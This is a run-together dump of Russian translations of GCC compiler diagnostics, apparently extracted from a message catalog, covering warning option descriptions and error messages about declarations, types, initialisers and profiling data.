#endifПредупреждать о strftime-форматах, дающих только 2 цифры годаПредупреждать об индексах типа "char"Предупреждать о нестандартных декларациях для "main"Предупреждать о различиях по сравнению с компиляцией при помощи компилятора, совместимого с ABIПредупреждать на всякий случай об отсутствии приведения NULLПредупреждать о неинициализированных автоматических переменныхПредупреждать о непрототипных декларациях функцийПредупреждать о наличии неизвестных прагмПредупреждать о char-константах, содержащих несколько литер Предупреждать о заданных пользователем, но не существующих каталогах заголовковПредупреждать об использовании имён, декларированных с атрибутом deprecatedПредупреждать о переменных, в инициализации которых используется их значениеПредупреждать о отступлениях от стиля Effective C++Предупреждать о форматных строках нулевой длиныПредупреждать, если файл .class устарелПредупреждать об использовании приведения типов в стиле CПредупреждать об устаревших (deprecated) возможностях компилятора, классах, методах или полях, используемых в программеПредупреждать, если функция использует alloca или создаёт массив изменяемого размераПредупреждать о селекторах с множественными методамиПредупреждать, если размер окна функции превосходит заданное значениеПредупреждать об объектах, размер которых превышает <число> байтПредупреждать об определениях параметров в старом стилеПредупреждать об использовании неопределенных макросов в директивах #ifПредупреждать при употреблении устаревших пустых выраженийПредупреждать о нереализованных наследуемых методахУведомлять, когда модификаторы употребляются без необходимостиПредупреждать об избыточных аргументах для функций форматированияПредупреждать о сравнениях вещественных чисел на равенствоПредупреждать, если оптимизация цикла невозможна из-за нетривиальных предположенийПредупреждать о встретившихся триграфах, которые могут влиять на смысл программыПредупреждать о несовпадении сигнатур применимых методовПредупреждать о декларациях, в которых не задан типПредупреждать о декларациях, встретившихся после операторовПредупреждать о неиспользуемых функцияхПредупреждать о неиспользуемых параметрах функцийПредупреждать о неиспользуемых меткахПредупреждать о различиях в знаковости указателя в присваиванииПредупреждать о приведении указателя к целому другого размераПредупреждать о регистровых переменных, объявленных volatileПредупреждать, если кадр стека превышает указанный размерПредупреждать о неиспользуемых переменныхПредупреждать о классах, в которых все конструкторы и деструкторы privateПредупреждать о неиспользованных результатах выраженийПредупреждать об inline-функциях, подстановка которых невозможнаПредупреждать о невыполнении заказанных оптимизацийПредупреждать о преобразовании типа указателя к функции-элементуПредупреждать о нешаблонных friend-функциях, декларированных внутри шаблонаПредупреждать, если защита от разрушения стека по каким-то причинам не сгенерированаПредупреждать когда одна локальная переменная перекрывает другуюПредупреждать когда перегруженное имя преобразуется от unsigned к signedПредупреждать о дырах в результате выравнивания элементов структурПредупреждать о переупорядочении кода компиляторомПредупреждать о случаях, когда атрибут packed не влияет на Предупреждать о приведении к типу указателя от целого другого размераПредупреждать, если тип возвращаемого значения по берется умолчанию как "int" (C), или о несовместимом типе результата (C++)Предупреждать, если присваивание Objective-C прерывается сбором мусораПредупреждение:По умолчанию считать битовые поля знаковымиПо умолчанию считать битовые поля беззнаковымиПо возможности не создавать кадры стекаПри экономии общих подвыражений прослеживать код, доступный по условным переходамПри экономии общих подвыражений прослеживать код, доступный по переходамИспользовать ли канонические типыПри установке обработчика сигналов: %mПри установке стека сигналов: %mОбходить ошибки mflo/mfhi процессора VR4130Обходить аппаратную ошибку с помощью добавления NOP-ов перед aОбходить старую аппаратную ошибку 4300Обойти ошибку в команде умноженияОбходить некоторые ошибки процессора R4000Обходить некоторые ошибки процессора R4400Обходить некоторые ошибки VR4120Обходить старую аппаратную ошибку SB-1 версии 2Обходить аппаратную ошибку умноженияВывести зависимости в указанный файлЗапись модуля %s в строке %d символ %d: %sXXX вход в pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX выход из pop_everything ()
[Выход из %s]
[не найдена программа %s][выключено][включено][super ...] должно находиться в контексте метода__builtin_eh_return не поддерживается для этой платформы__builtin_saveregs для этой платформы не поддерживается__builtin_saveregs не поддерживается для этой целевой платформы`атрибут `%s' допустим только для функцийсписок параметров с многоточием несовместим с пустым списком параметровкласс хранения может быть задан только для объектов и функцийв using-декларации нельзя задавать идентификатор шаблона. Попробуйте %<using %D%>ненужные аномальные дуги в блоке %iаварийный выход в %s, на %s:%dабстрактный декларатор %qT использован в качестве декларатораномер сумматора не является целой константойномер сумматора вне диапазонаадресное пространство %q+D противоречит предыдущей декларациизапрошен адрес глобальной регистровой переменной %qDзапрошен адрес глобальной регистровой переменной %qsвозвращен адрес локальной переменной %q+Dзапрошен адрес регистровой переменной %qDзапрошен адрес регистровой переменной %qsадресное смещение - не константадля операнда адреса требуются ограничения одного из регистров X, Y или Zадрес был взят, а бит ADDRESSABLE не установленагрегатный тип %q#D неполон и не может быть определёнагрегатное значение вместо ожидаемого комплексногоагрегатное значение вместо ожидаемого плавающегоагрегатное значение вместо ожидаемого целогоаргумент атрибута alias должен быть текстовой строкойпсевдонимы не поддерживаются для Mach-O; игнорируетсянельзя задавать выравнивание для %q+Dвыравнивание должно быть небольшой степенью двойки, а не %dвыравнивание %q+D превышает максимальное выравнивание в объектном файле. Используется %dвыравнивание элементов массива превышает их размервсе элементы-функции в классе %qT - частные (private)неоднозначное сокращение %sнеоднозначное преобразование индекса массиванеоднозначное преобразование из типа %qT по умолчаниюнеоднозначная конкретизация шаблона %qD для %q+Dтип аргумента с преобразованием по умолчанию несовместим с пустым списком параметрованахронизм: устаревший стиль инициализатора базового классадекларация %s без имени внутри списка параметрованонимная структура не внутри именованного типабезымянное объединение без элементовпри применении #pragma weak %q+D после первого использования поведение неопределеноаргументы, подлежащие форматированию, должны соответствовать %<...%>аргументу %d %qE, вероятно, можно назначить атрибут formatаргумент %qD мог быть испорчен вызовами `longjmp' или `vfork'аргумент %qD не соответствует встроенному прототипуаргумент %qD не соответствует прототипунекорректный аргумент %qs ключа %<-Wnormalized%>первый аргумент должен быть 5-битным знаковым литеральным значениемпервый аргумент __builtin_altivec_predicate вне диапазонапервый аргумент __builtin_altivec_predicate должен быть константойпервый аргумент __builtin_spe_predicate вне диапазонапервый аргумент __builtin_spe_predicate должен быть константойвторой аргумент должен быть 5-битным беззнаковым литеральным значениемтретий аргумент должен быть 4-битным беззнаковым литеральным значениемаргумент %<__builtin_args_info%> должен быть константойаргумент %<__builtin_args_info%> вне допустимого диапазонааргумент %<__builtin_eh_return_regno%> должен быть константойаргумент атрибута %qs должен быть "ilink1" или "ilink2"аргумент атрибута %qs не является строковой константойаргумент типа %qT не соответствует типу %qTаргумент "%s" должен быть неотрицательным целым числомаргумент атрибута %qs больше %dаргумент %qs должен быть 2-битным беззнаковым литеральным значениемотсутствует аргумент для '%s'
не задан аргумент ключа '-%s'не задан аргумент ключа '-B'не задан аргумент ключа '-Xassembler'не задан аргумент ключа '-Xlinker'не задан аргумент ключа '-Xpreprocessor'не задан аргумент ключа '-l'не задан аргумент ключа '-specs'не задан аргумент ключа '-specs='не задан аргумент ключа '-x'аргумент dss должен быть 2-битным беззнаковым литеральным значениемаргументы к деструктору не допускаютсяарифметическая операция над указателем на неполный тип%q+D рассматривается как массив из одного элементамассив %qD инициализируется строковой константой %qE, заключённой в скобкимассив не соответствует дереву регионовиндекс массива в инициализаторе - за границами массиваиндекс массива в инициализации не целого типаиндекс массива в инициализаторе не для массивадиапазон индексов массива в инициализаторе - за границами массиваинициализация массива неконстантным выражениеминициализация символьного массива строкой в скобкахинициализация массива несоответствующего типа строковой константойне задан размер массива для %q+Dне задан размер массива для %qDиндекс массива имеет тип %<char%>индекс массива не является целым значениемтип элементов массива неполныймассивы функций не имеют осмысленной интерпретациикак %qDконфликт в списках переписываемых регистров и входных операндов в asmконфликт в списках переписываемых регистров и выходных операндов в asmasm-декларация не согласуется с предыдущим переименованиемоперанд %d в операторе asm, возможно, не соответствует ограничителюasm-спецификатор для переменной %qs конфликтует со списком переписываемых регистровне задано утверждение после %qsприсваиваниеприсваивание (а не инициализация) в декларацииприсваивание отменяет квалификаторы указуемого типаприсваивание из отличного Objective-C типанесовместимый тип указателя в присваиваниилевой части присваивания, вероятно, можно назначить атрибут formatв присваивании указатель преобразуется в целое без приведения типав присваивании целое преобразуется в указатель без приведения типаприсваивание добавляет квалификатор к указателю на функцию без квалификаторовприсваивание элементу %qD, доступному только на чтениеприсваивание переменной %qD, доступной только на чтениеподавление присваиванияприсваивание финальному полю %q+D - не в классе этого поляпредполагается приведение к типу %qT из перегруженной функциипредполагается указатель на элемент %qDпредполагается, что счётчик цикла не выходит за границыпредполагается, что цикл не бесконечныйв этом месте файлавзятие адреса от битового поля структуры %qDатрибут для %q+#T должен следовать за ключевым словом %qsатрибуты декларации %q+#T отброшеныатрибут interrupt_handler несовместим с -m5-compactатрибуты после инициализатора в скобках проигнорированыатрибуты в деклараторе массива-параметра проигнорированыдля дуги %s->%s установлено вспомогательное поленекорректный диапазон PC в отладочной информации для локального %q+Dнекорректный адреснекорректный адрес, не (reg+disp)некорректный адрес, не post_inc или pre_dec:некорректный размер области, удаляемой из стека: %dнекорректный инициализатор массиванекорректный встроенный fcodeнекорректный код условияНекорректный формат архива .zip/.jar
некорректная инструкция для 'A'Некорректная инструкция для frv_print_operand, случай 0Некорректная инструкция для frv_print_operand, плохой const_double Некорректная инструкция для frv_print_operand, случай zНекорректная инструкция для frv_print_operand, модификатор 'F':Некорректная инструкция для frv_print_operand, модификатор 'L':Некорректная инструкция для frv_print_operand, модификатор 'M/N':Некорректная инструкция для frv_print_operand, модификатор 'O':Некорректная инструкция для frv_print_operand, модификатор 'e':Некорректная инструкция для frv_print_operand, модификатор 'f':Некорректная инструкция для frv_print_operand, модификатор 'g':Некорректная инструкция для frv_print_operand, модификатор 'P':Некорректная инструкция для frv_print_operand_address:Некорректная инструкция для frv_print_operand_memory_reference:некорректная сигнатура методанекорректный операнд для output_condmove_singleнекорректный операнд для output_move_doubleнекорректный операнд для output_move_singleнекорректный pc в таблице прерываний exception_tableнекорректный регистрНекорректный регистр для frv_print_operand_memory_reference_reg:некорректная инструкция сдвига:некорректная строковая константаНекорректная проверканекорректный тип в отладочной информации параметранекорректный аргумент %qs для ключа -mcpuнекорректное значение %qs для ключа -mfp-rounding-modeнекорректное значение %qs для ключа -mfp-trap-modeнекорректное значение %qs для -mmemory-latencyнекорректное значение %qs для ключа -mtls-sizeнекорректное значение %qs для ключа -mtrap-precisionнекорректное значение (%s) ключа %sнекорректное значение (%s) для ключа -mcmodelнекорректный тип константного значения %d, индекс %dНекорректное значение ключа -mcall-%sНекорректное значение ключа -msdata=%sнекорректный zip/jar файл %sнекорректная вложенность заголовочных файлов C в результате препроцессированиябазовый класс %qT будет инициализирован послебазовый класс %q#T имеет невиртуальный деструкторбазовый класс %qT имеет квалификаторы cvбазовый операнд %<->%> не является указателембазовый тип %qT не является ни структурой, ни классомвходящая дуга блока %d поврежденаблок %d должен быть помечен как несокращаемыйблок %d не должен быть помечен как несокращаемыйсписки дуг для блока %i поврежденыблоки не были размещены последовательноблок %d не принадлежит циклу %dблок %d неверно расположенширина битового поля %q+D не является целой константойбитовое поле %qD не целочисленного типаневерный тип битового поля %qsразмер битового поля %qs не является целочисленной константойнекорректная конструкция JARL: %d
запрошены булевы регистры и ключ аппаратной плавающей математикив декларации использованы спецификаторы %<complex%> и %<_Bool%>в декларации использованы спецификаторы %<complex%> и %<void%>в декларации использованы спецификаторы %<long long%> и %<double%>в декларации заданы спецификаторы %<long%> и %<_Bool%>в декларации заданы спецификаторы %<long%> и %<char%>для имени заданы несовместимые спецификаторы %<long%> и %<float%>в декларации заданы спецификаторы %<long%> и %<short%>в декларации заданы спецификаторы %<long%> и %<void%>в декларации использованы спецификаторы %<short%> и %<_Bool%>в декларации использованы спецификаторы %<short%> и %<char%>в декларации использованы спецификаторы %<short%> и %<double%>в декларации использованы спецификаторы %<short%> и %<float%>в декларации использованы спецификаторы %<short%> и %<void%>в декларации использованы спецификаторы %<signed%> и %<_Bool%>в декларации использованы спецификаторы %<signed%> и %<double%>в декларации использованы спецификаторы %<signed%> и %<float%>в декларации использованы спецификаторы %<signed%> и %<unsigned%>в декларации использованы спецификаторы %<signed%> и %<void%>в декларации использованы спецификаторы %<unsigned%> и %<_Bool%>в декларации использованы спецификаторы %<unsigned%> и %<double%>в декларации использованы спецификаторы %<unsigned%> и %<float%>в декларации использованы спецификаторы %<unsigned%> и %<void%>ошибка в спецификации '%s' в скобках на символе '%c'ошибка в спецификации '%s' в скобкахфигурные скобки вокруг скалярного инициализаторафигурные скобки вокруг скалярного инициализатора для типа %qTпереход %2d ни разу не исполнялся
переход %2d выполнен %s%s
оптимизация переноса загрузок в регистры в другие блоки не должна выполняться дваждыоператор break вне цикла или оператора switchвнутренняя функция %q+D декларирована как не функциявызов  %2d ни разу не исполнялся
вызов   %2d вернул %s
дуги вызова для не-call инструкции в блоке %iвероятность вызова мала, а размер кода увеличитсявызов %<(%T) (%A)%> неоднозначенвызов перегруженной функции %<%D(%A)%> неоднозначенвызов перегруженной %<%s(%A)%> имеет неоднозначную трактовкувызов Java %<catch%> или %<throw%> с %<jthrowable%> не определенвызов Java-конструктора с неопределенным %qsвызов Java-конструкторов, хотя %<jclass%> не определенвызов не функции %qDнесохраняемый регистр назначен для глобальной регистровой переменнойкоторая вызвана здесьвызываемый объект %qE не является функциейотрицательный счётчик дуг, соответствующих вызовамнедопустимое использование объекта как параметра методаошибка при создании прекомпилированного заголовка %s: %mошибка открытия %s на запись: %mошибка открытия %s: %mошибка чтения %s: %mошибка позиционирования в %s: %mошибка записи %s: %mошибка записи в %s: %mнедопустимо применять к одной функции атрибуты longcall и shortcallошибка при закрытии входного файла %s: %mневозможно преобразовать векторное значение в векторное значение другого размераошибка при преобразовании неполного типа %qT в %qTневозможно преобразовать значение в векторошибка при создании файла репозитория %qsнедопустимое определение friend-функции %qs в определении локального классаотслеживание зависимостей невозможно при вводе со стандартного вводаошибка расширения PCH файла: %mотсутствует %<class$%> в %qTне найден регистр класса %qs для загрузки операндов %<asm%>ошибка позиционирования в PCH файле: %mне удалось получить состояние программынедопустимая инициализация friend-функции %qs%qD не может быть превращена в метод -- вне классаошибка открытия %s: %mне удалось открыть выходной файл lddне удалось открыть выходной файл nmошибка чтения PCH файла: %mошибка позиционирования PCH файла: %mошибка позиционирования в PCH файле: %mне допускается использовать '-D' без '--main'
нельзя использовать '%s' как %s регистрошибка записи PCH файлаошибка записи в файл PCH: %mошибка записи заполнителя в PCH файл: %mкандидат 1:кандидат 2:претендент: %+#Dпретенденты:претенденты: %+#Dнедопустимое применение %<offsetof%> к статическому элементу данных %qDнедопустимое связывание битового поля %qE с %qTнедопустимое связывание упакованного  поля %qE с %qTнедопустимое связывание rvalue %qE с %qTнекорректный вызов элемента-функции %qD без объектаошибка преобразования %qE из типа %qT в тип %qTошибка преобразования %qT в %qT в %sошибка преобразования базового %qT в производный тип %qT через виртуальный базовый тип %qTпреобразование к типу указателя невозможнонекорректное преобразование от типа %qT к типу %qTнельзя создать указатель на элемент-ссылку %qDошибка создания временного файланедопустимая декларация %<::main%> как шаблонанедопустимая декларация %<::main%> как inline-функциинедопустимая декларация %<::main%> как статической функциинедопустимая декларация %qD как битового полянедопустимая декларация битового поля %qD с типом функциинедопустимая декларация элемента %<%T::%s%> внутри %qTнедопустимая декларация статического элемента-функции %qDнедопустимая декларация указателя на %q#Tнедопустимая декларация указателя на элемент %q#Tнедопустимая декларация ссылки на %q#TНедопустимо определять ссылку на %q#T, которая не будет определением типа или аргументом шиблонанедопустимая декларация статической функции внутри другой функцииошибка при декомпозиции адресанедопустимая декларация элемента-функции %<%T::%s%> внутри %<%T%>удаление функции недопустимо.  Аргументами %<delete%> могут быть только указатели на объектыневозможно отменить внутреннюю функцию %sошибка при замене z-регистранедопустимая явная extern-декларация элемента %q#Dне удалось найти '%s'не найдена программа `ldd'не удалось найти 'nm'нет класса %qsнет файла для класса %sнет декларации интерфейса для %qsнет декларации интерфейса для %qs, суперкласса  %qsнет декларации протокола для %qsнет тега для класса %qsошибка при обработке некорректного вызова %qsнедопустимая инициализация %qT из %qTнедопустимый синтаксис для инициализации массиванедопустимая инициализация многомерного массива при помощи инициализатораinline-подстановка функции %<main%> невозможнаневозможно слияние счётчиков %s для функции %uошибка открытия %sневозможно оптимизировать циклы, в которых счётчик выходит за границыневозможно оптимизировать бесконечные циклынекорректная передача объекта не POD-типа %q#T через %<...%>; вызов завершится аварийно во время выполненияпередача rvalue-выражения в качестве параметра-ссылки запрещенанекорректная попытка разместить в регистре объект с volatile-полемнекорректное получение объекта не POD-типа %q#T через %<...%>; вызов завершится аварийно во время выполненияневозможно загрузить целый константный операнд в операторе %<asm%>ошибка при выборе перегруженной функции %qD при преобразовании к типу %qTвозврат в обработчике try-блока конструктораошибка при установке атрибута interrupt: нет текущей функцииошибка при установке атрибута interrupt: нет такого идентификаторазадание класса 'main' невозможно без компоновкинельзя использовать -o с -c или -S и несколькими файламине допускается задание одновременно -C и -oключи -msep-data и -mid-shared-library несовместимынекорректная попытка взять адрес битового поля %qDнельзя взять адрес от %<this%>, поскольку это rvalue-выражениенедопустимое использование %<::%> в декларации параметраиспользование режима %qs для перечислимых типов недопустимоНедопустимо одновременно использовать mshared и staticНедопустимо одновременно использовать mthreads и mlegacy-threadsиспользование идентификатора типа с ключом -fno-rtti недопустимонедопустимое использование va_start в функции обработки прерываниязначение case-метки неприводимо к целочисленной константеcase-метка в области видимости идентификатора с переменно-модифицируемым типом, не содержащей объемлющего оператора switchcase-метка в оператора-выражении, не содержащем объемлющего оператора switchcase-метка вне оператора switchзначение с больше чем максимальное значение данного типазначение case-метки меньше чем минимальное значение данного типаприведение типа добавляет дополнительные квалификаторы к типу функцииприведение типа отменяет квалификаторы указуемого типаприведение от %qT к %qT увеличивает размер выравнивания для указуемого типаприведение вызова функции типа %qT к несоответствующему типу %qTприведение указателя к целому другого размераприведение типа требует большего выравнивания, чем исходный типтип массива в операции приведения типовтип функции в операции приведения типовприведение к типу указателя от целого другого размераприведение к типу объединения от типа, отсутствующего в объединениипреобразование %qT в %qT не снимает указательделает трактовку %qD отличной от %q+#Dинициализация символьного массива строкой широких символовконтрольная сумма %x, а должна быть %xпредпочтение отдается %qD (а не %qD)обнаружено циклическое делегирование указателейв классе %qT не имеет поля с именем %qDкласс %qT неявно дружит сам с собойкласс %qT будет рассматриваться как почти пустой в будущих версиях GCCкласс %qs уже существуеткласс '%s' не имеет метода с именем '%s', соответствующим сигнатуре '%s'аргумент атрибута cleanup - не функцияаргумент атрибута cleanup - не идентификаторпри закрытии файла зависимостей %s: %mмодель кодирования %s не поддерживается в %s-битном режимеcollect2 версия %scollect: чтение %s
collect: перекомпиляция %s
запятая в конце списка значений перечислимого типаключ "%s" годится для %s, но не для %sключ %qs для этой конфигурации не поддерживаетсясравнение плавающих значений при помощи == или != не надежносравнение между %q#T и %q#Tсравнение указателя и целогосравнение знакового и беззнакового целых выраженийрезультат сравнения - всегда %dпри данной ширине битового поля результат сравнения - всегда %dиз-за ограниченности диапазона типа данных, результат сравнения всегда ложьиз-за ограниченности диапазона типа данных, результат сравнения всегда истинасравнение указателей на полный и неполный типысравнение различных типов Objective-C без приведениясравнение различных указательных типов без приведения типовсравнение ~unsigned с константойсравнение ~unsigned с unsignedрезультат сравнения `беззнаковое выражение < 0' всегда ложьрезультат сравнения `беззнаковое выражение >=0' всегда истинакомпиляция прервана из за ошибок -Wfatal-errors.
Компиляция прервана.
спецификатор complex для %qs недопустимпротиворечивые спецификации доступа для метода %q+D, игнорируютсязадан несовместимый тип результата для %q+#Dконфликтующие спецификаторы в декларации %qsконфликтующее имя суперкласса %qsзаданы несовместимые аттрибуты типа для %q+#Dнесовместимые квалификаторы типа для %q+Dнесовместимые типы для %q+Dнесовместимые типы для внутренней функции %q+Dпротиворечит декларации функции %q#Dнедопустимая декларация константного %qs как %<mutable%>некорректная инструкция в const_double_split:константный аргумент для %qs вне диапазонаконстанта не перевычислена после изменения ADDR_EXPRконструктор чужого класса %qT не может быть элементомиспользован синтаксис конструктора для типа %qT, который не имеет конструкторовконструкторы нельзя декларировать как virtualоператор continue вне циклаоператор continue вне цикла или оператора switchинструкция управления потоком выполнения внутри блока %dпреобразование из %q#T в %q#Tпреобразование из %qT в %qT отменяет квалификаторыпреобразование из %qT в %qT неоднозначнозапрошено преобразование от %qT к нескалярному типу %qTв преобразовании в конце формата не указан типпреобразование %qE из %qT в %qT неоднозначнопреобразование к %s%s никогда не будет использовать операцию преобразования типапреобразование к неполному типупреобразование к нескалярному типупреобразование NULL к неуказательному типупреобразование из %qT в %qTпреобразование перегруженной функции %qD к типу %q#T неоднозначноиспорчены данные профилирования: дуга из %i в %i превышает максимальный счётчикиспорчены данные профилирования: число исполнений дуги %d-%d должно быть %iиспорчены данные профилирования: число повторений блока %d должно быть %iиспорчены данные профилирования: run_max * runs < sum_maxиспорчены данные профилирования: sum_all меньше sum_maxне удалось закрыть файл отзыва %sне удалось закрыть временный файл ответа %sошибка преобразования %qE в %qTошибка при преобразовании аргумента шаблона %qE в %qTне найден регистр для выталкиванияне найдено поле класса в интерфейсном типе java %qTне найден файл спецификаций %s
ошибка открытия дамп-файла %qs: %sне удалось найти файл отзыва %sне удалось открыть временный файл ответа %sразбиение RTL-инструкции невозможноне удалось записать файл отзыва %sне удалось записать во временный файл ответа %sошибка определения имени цели при отслеживании зависимостейошибка при выполнении '%s': %sнесоответствие покрытия для функции %qs при чтении счётчика %qsнесоответствие покрытия для функции %u при чтении счётчиков выполнениясоздан с одним ABI, а используется с другимсоздан с одной архитектурой / ABI, а используется с другимсоздан с одним значением endianness, а используется с другимсоздан с одним значением -fpic, а используется с другимсоздан с одним значением -fpie, а используется с другимсоздан с одним значением '%s', а используется с другимсоздание %sсоздание массива элементов типа %qTсоздание массива элементов типа %qT, являющегося абстрактным классомсоздание указателя на элемент-функцию не классового типа %qTсоздание указателя на элемент не классового типа %qTсоздание указателя на элемент ссылочного типа %qTэлемент данных %qD не должен быть членом шаблонаэлемент данных не может иметь тип %qT модифицируемого размераданные типа %q+D нельзя поместить на регистротладочный формат "%s" противоречит предыдущему выборууровень отладочной информации %s слишком высокотладка: декларация ничего не описываетдекларация параметра %q+D, не заданного в списке параметровдекларация %<extern%> переменной %q+D в заголовке %<for%>-цикладекларация %q#Dдекларация %q#D содержит %<extern%> и инициализациюдекларация %q#D вне класса не является определениемдекларация %q#D перекрывает параметрдекларация %q+D перекрывает внутреннюю функциюдекларация %q+D перекрывает глобальную декларациюдекларация %q+D перекрывает параметрдекларация %q+D перекрывает декларированную ранее локальную переменнуюдекларация %q+D перекрывает предшествующую декларацию не переменнойдекларация %q+D с атрибутом noinline после inline-декларациидекларация %q+D без привязки следует за extern-декларациейдекларация %qD как %sдекларация многомерного массива %qD должна определять границы для всех размерностей, кроме первойдекларация %qD как не-функциидекларация %qD как не-элементадекларация %qD вне пространства имён, объемлющего %qDдекларация %qD перекрывает глобальную декларирациюдекларация %qD перекрывает элемент класса, на который указывает 'this'декларация %qD перекрывает декларированную ранее локальную переменнуюдекларация %qF задает другие исключительные ситуацииимя %qs описано как массив функцийимя %qs описано как массив элементов типа voidдекларация %q+D, не являющегося переменной, в заголовке %<for%>-цикладекларация статической переменной %q+D в заголовке %<for%>-цикладекларатор отсутствует; используется зарезервированное слово %qDдекрементация указателя на неизвестную структурудекрементация элемента %qD, доступного только на чтениедекрементация переменной %qD, доступной только на чтениеаргумент по умолчанию %qE использует локальную переменную %qDаргумент по умолчанию для %q#D имеет тип %qTаргумент по умолчанию для параметра типа %qT имеет тип %qTотсутствует аргумент по умолчанию для параметра %P функции %q+#Dаргументы по умолчанию не допускаются в декларации специализации friend-шаблона %qDопределение явной специализации %qD в friend-декларацииопределение в блоке %i не должно доминировать над использованием в блоке %iопределение в блоке %i следует за использованиемопределение функции %q#D помечено %<dllimport%>определение %q#T внутри списка параметров шаблонаопределение %qD вне пространства имён, объемлющего %qTопределение неявно декларированного %qDопределение статического элемента данных %q+D в импортируемом классе dllimportудаление %qT не определеноудаление массива %q#Dустаревшее использование аргумента по умолчанию в качестве параметра не-функциидоступ по указателю %<void *%>доступ по указателю на неполный типдоступ по указателю с приведением типа может нарушить правила перекрытия объектов в памятидоступ по указателю с приведением типа нарушает правила перекрытия объектов в памятинекорректный производный тип union %qTдеструктор %qD объявлен как шаблон элементадеструктор не может быть статической элементом-функциейдеструктор для %qs тоже не будет выполнендеструктор чужого класса %qT не может быть элементомдеструкторы не могут быть cv-квалифицированыдеструкторы не могут иметь параметровнепосредственная база %qT недоступна в %qT из-за неоднозначностиотличающийся Objective-C тип результатаделение на нольне поддерживает мультибиблиотекудоминатором %d должен быть %d, а не %dстатус доминатора %d неизвестенповторное употребление %<const%>повторное употребление %<restrict%>повторное употребление %<volatile%>дублирование %qEповтор (или перекрытие) case-значенийдублирование атрибута ConstantValue для поля '%s'дублирование имени операнда asm %qsнекорректное дублирование базового типа %qTповтор case-значения,повторная декларация протокола %qsповторная декларация метода %<%c%s%>повторная явная конкретизация %q#Tповторная инициализация %qDповторная декларация интерфейса для категории %<%s(%s)%>повторная декларация интерфейса для класса %qsдублирование метки %qDповторная декларация метки %qEповторное описание члена %q+Dповторный инициализатординамическая зависимость %s не найденаотсутствует call_stmt, соответствующий дуге %s->%sдуга из %d в %d должна быть помечена как несокращаемаядуга из %d в %d не должна быть помечена как несокращаемаядуга указывает на неверную декларацию:элементы массива %q#D имеют неполный типсимвол %<\0%> в форматной строкегенерация PIC-операнда при неустановленном PIC-регистрепустая декларацияпустая декларация со спецификатором класса памяти не переопределяет тегпустая декларация с квалификатором типа не переопределяет тегпустой диапазон индексов в инициализаторепустая точность левой части в формате %sпустая точность в формате %sпустой диапазонпустой скалярный инициализаторподдержка backtrace имеет смысл только для Thumb-mcallee-super-interworking имеет смысл только при компиляции для Thumb-mcaller-super-interworking имеет смысл только при компиляции для Thumbобъемлющие шаблоны классов не были явно специализированызаключительная инструкция %d блока %d не найдена в списке инструкцийперечислимый и неперечислимый тип в условном выражениинесоответствие перечислимых типов в условном выражении: %qT vs %qTперечислимый тип превышает диапазон максимального целочисленного типазначение перечислимого типа для %qD не является константой целого типазначение перечислимого типа для %qE не является константой целого типапеременная окружения "%s" не определенапеременная окружения DJGPP не определенапеременная окружения DJGPP указывает на испорченный файл '%s'переменная окружения DJGPP указывает на несуществующий файл '%s'ошибка закрытия %s: %mошибка в аргументах spec-функции '%s'ошибка в элементе пула констант #%d
ошибка при грамматическом разборе пула константошибка при грамматическом разборе пула констант
ошибка при грамматическом разборе полейошибка при грамматическом разборе полей
ошибка при разборе финальных атрибутовошибка при разборе финальных атрибутов
ошибка при грамматическом разборе методовошибка при грамматическом разборе методов
ошибка чтения  %s из zip-файлаошибка записи %qsошибка записи в %s: %mошибка: обработка прерываний отключена, задайте -fexceptionsбудет обработана исключительная ситуация типа %<%T%>избыточные элементы в инициализаторе массиваизбыточные элементы в инициализаторе символьного массиваизбыточные элементы в инициализаторе скаляраизбыточные элементы в инициализаторе структурыизбыточные элементы в инициализаторе объединенияизбыточные элементы в инициализаторе векторав movsi не удалось выполнить expand_binopожидалось %<,%> или %<;%>ожидалось %<,%> или %<}%>ожидалось %<,%>, %<;%> или %<}%>ожидалось %<:%> или %<...%>ожидалось %<:%>, %<,%>, %<;%>, %<}%> или %<__attribute__%>ожидалось %<;%>Ожидалось %<=%>ожидалось %<=%>, %<,%>, %<;%>, %<asm%> или %<__attribute__%>ожидалось %<{%>ожидался объект SSA_NAMEожидалось имя классаожидалась декларация или операторожидались спецификаторы декларацииожидались спецификаторы декларации или %<...%>ожидалось выражениеожидался идентификаторожидался идентификатор или %<(%>ожидался идентификатор или %<*%>ожидался список спецификаторов и квалификаторовожидался операторожидался строковый литералстоимость операции вызова по отношению к обычным арифметическим операциямявный переход goto в конце блока %dявная конкретизация %q#T до определения шаблонаявная конкретизация %qD без определенияявная конкретизация типа %qT, не являющегося шаблономявные квалификаторы в декларации %qDявная специализация в не-namespace области %qDявная специализация не-шаблона %qTвыражение %qE, имеющее тип абстрактного класса %qT, нельзя использовать в throw-выраженииоператор-выражение имеет неполный типрасширенные регистры не имеют верхних половиннет соответствия с внешней декларацией %q#Dextern декларация %q+D следует за декларацией без привязкисимвол %q+D должен быть внешним, поскольку задан атрибут %qsизбыточная %<;%>избыточные фигурные скобки в конце инициализатораизбыточные элементы в скалярном инициализаторелишняя исходящая дуга %d->%dизбыточная квалификация %<%T::%> элемента %qsизбыточные квалификаторы типа в аргументе форматирования (аргумент %d)ключ '%s' не имеет аргументовне найден класс '%s'не удалось получить код возвратане удалось вычислить время обработкиошибка при возврате ненужной функциисквозная дуга после оператора управления в блоке %dсквозная дуга после безусловного перехода %iсквозная дуга пересекает границу секции (блок %i)сквозной выход из блока %dатрибуты fastcall и cdecl несовместимыатрибуты fastcall и regparm несовместимыатрибуты fastcall и stdcall несовместимыфатальная ошибка: fclose %sполе %q+#D с тем же именем, что и классполе %q+D ошибочно декларировано с типом функцииполе %q+D ошибочно декларировано с типом методаполе %qD имеет неполный типполе %qs описано как функцияполе %qs имеет неполный типнет поля %qsинициализатор поля не является константойимя поля в инициализаторе не для структуры или объединенияточность поляширина поляширина поля в формате printfширина поля в формате scanfширина поля в формате strfmonширина поля в формате strftimeв декларации %qs на уровне файла задан класс хранения %<auto%>в декларации %qs на уровне файла задан класс хранения %<register%>символ-заполнительсимвол-заполнитель в формате strfmonfind_enum(): перечисление не найденов объекте %s найдена функция finiпервый аргумент функции %q+D должен иметь тип %<int%>первый аргумент %<va_start%> должен иметь тип %<va_list%>fix_sched_param: неизвестный параметр: %sнекорректное использование плавающей константыделение на ноль плавающей константыплавающая константа не является корректным непосредственным операндомпереполнение при вычислении выражения с плавающей точкойинструкция управления потоком выполнения - внутри блокапроверка fold: исходное дерево изменено функцией foldfopen %sдля декларации шаблона %q+Dформат %q.*s предполагает тип %<%T%s%>, но аргумент %d имеет тип %qTформат %q.*s предполагает тип %<%s%s%>, но аргумент %d имеет тип %qTнеиспользованный 